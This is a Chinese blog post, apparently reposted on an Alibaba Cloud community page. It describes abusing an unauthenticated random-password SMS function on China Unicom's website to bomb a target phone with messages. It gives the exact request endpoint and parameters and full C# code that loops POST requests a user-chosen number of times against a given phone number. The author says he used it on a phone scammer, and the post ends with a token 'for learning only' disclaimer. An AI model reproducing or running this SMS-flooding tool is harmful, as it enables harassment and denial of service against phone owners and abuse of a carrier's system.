利用聯通的隨機密碼功能實現簡訊攻擊

來源:互聯網
上載者:User

說到簡訊攻擊,估計各位大蝦們都不會陌生,其基本方式不外乎是通過向目標手機號發送大批量的垃圾簡訊,而且發的是免費的簡訊。這些免費的簡訊通常是網站或sp服務商發送確認密碼或隨機密碼,只要輸入手機號就可以。不過最近漏洞比較少,開發人員都學會了輸入驗證碼之後才讓傳送簡訊。不過最近還是讓我發現了一處漏洞,僅僅輸入手機號,不需要輸入驗證碼就可以發送,其來源就是標題所說的聯通網站(http://www.10010.com/myAccount.jsp)。實現方式是,在使用者登入時選擇"隨機密碼",輸入手機號之後,點擊"點擊擷取隨機密碼"就可以收到一條簡訊。 發現這一功能後,當即用firebug攔截了請求資料,發現其僅僅是通過post一些參數來實現,沒有任何的驗證。攔截資料如:

請求路徑:

 

請求資料:

很明顯 c0-param0後面的內容就是手機號碼,只要更改該手機號碼為目標號碼即可。

這樣製作一個簡訊攻擊最重要的內容已經有了,接下來就是讓程式去多次發送請求,即可實現簡單的簡訊攻擊。

實現的基本代碼如下:

 

實現代碼

/// <summary>
        /// 建立HttpWebRequest
        /// </summary>
        /// <returns></returns>
        private static HttpWebRequest CreateHttpWebRequest(string url)
        {
            HttpWebRequest webRequest = WebRequest.Create(url) as HttpWebRequest;
            webRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10";
            webRequest.Accept = "*/*";
            webRequest.ContentType = "*/*";
            webRequest.Referer = "http://www.java.com.cn";
            webRequest.CookieContainer = new CookieContainer();
            return webRequest;
        }

        /// <summary>
        /// 發送post請求
        /// </summary>
        /// <param name="url">路徑</param>
        /// <param name="pars">參數</param>
        private static void SendPostRequest(string url, Dictionary<string, string> pars)
        {
            HttpWebRequest request = CreateHttpWebRequest(url);
            request.Method = "post";

            request.ContentType = "application/x-www-form-urlencoded";
            // 請求參數
            StringBuilder sbRequestPars = new StringBuilder();
            foreach (KeyValuePair<string, string> par in pars)
            {
                sbRequestPars.AppendFormat("{0}={1}&", par.Key, par.Value);
            }
            // 去除最後的&
            sbRequestPars = new StringBuilder(sbRequestPars.ToString(0, sbRequestPars.Length - 1));

            byte[] data = Encoding.ASCII.GetBytes(sbRequestPars.ToString());
            request.ContentLength = data.Length;
            // 寫入請求參數
            Stream myStream = request.GetRequestStream();
            myStream.Write(data, 0, data.Length);
            myStream.Close();

            try
            {
                HttpWebResponse res = request.GetResponse() as HttpWebResponse;
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }

        public static void Main(string[] args)
        {
            Console.WriteLine("請輸入手機號:");
            string phone = Console.ReadLine();
            Console.WriteLine("請輸入攻擊次數:");
            int cnt = int.Parse(Console.ReadLine().Trim());

            // 關鍵執行部分
            Dictionary<string, string> pars = new Dictionary<string, string>();
            pars.Add("callCount", "1");
            pars.Add("c0-scriptName", "Login");
            pars.Add("c0-methodName", "sendRandomPWD");
            pars.Add("c0-id", "7587_1260864462581");
            pars.Add("c0-param0", "string:" + phone);
            pars.Add("xml", "true");

            for (int i = 0; i < cnt; i++)
            {
                Console.WriteLine("正在發送第{0}條", (i+1).ToString());
                SendPostRequest("http://www.10010.com/dwr/exec/Login.sendRandomPWD.dwr", pars);
            }

            Console.WriteLine("執行完畢");
            Console.ReadLine();
            Environment.Exit(-1);
        }

 

經過本人手機測試,發送10條以上沒有問題。另外今天也用來整了一個電話詐騙的,發送了100多條。不過,有個重要問題就是只能用在聯通的手機號上,不用我說為什麼了。

估計聯通網站目前還不知道這個問題,發帖之後很多人會用這個資源,到時候還是會把這個漏洞補上的。

最後提醒,這個僅供學習、練習之用,或者用來整治那些電話詐騙、簡訊騷擾的,不可用於違法行為。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.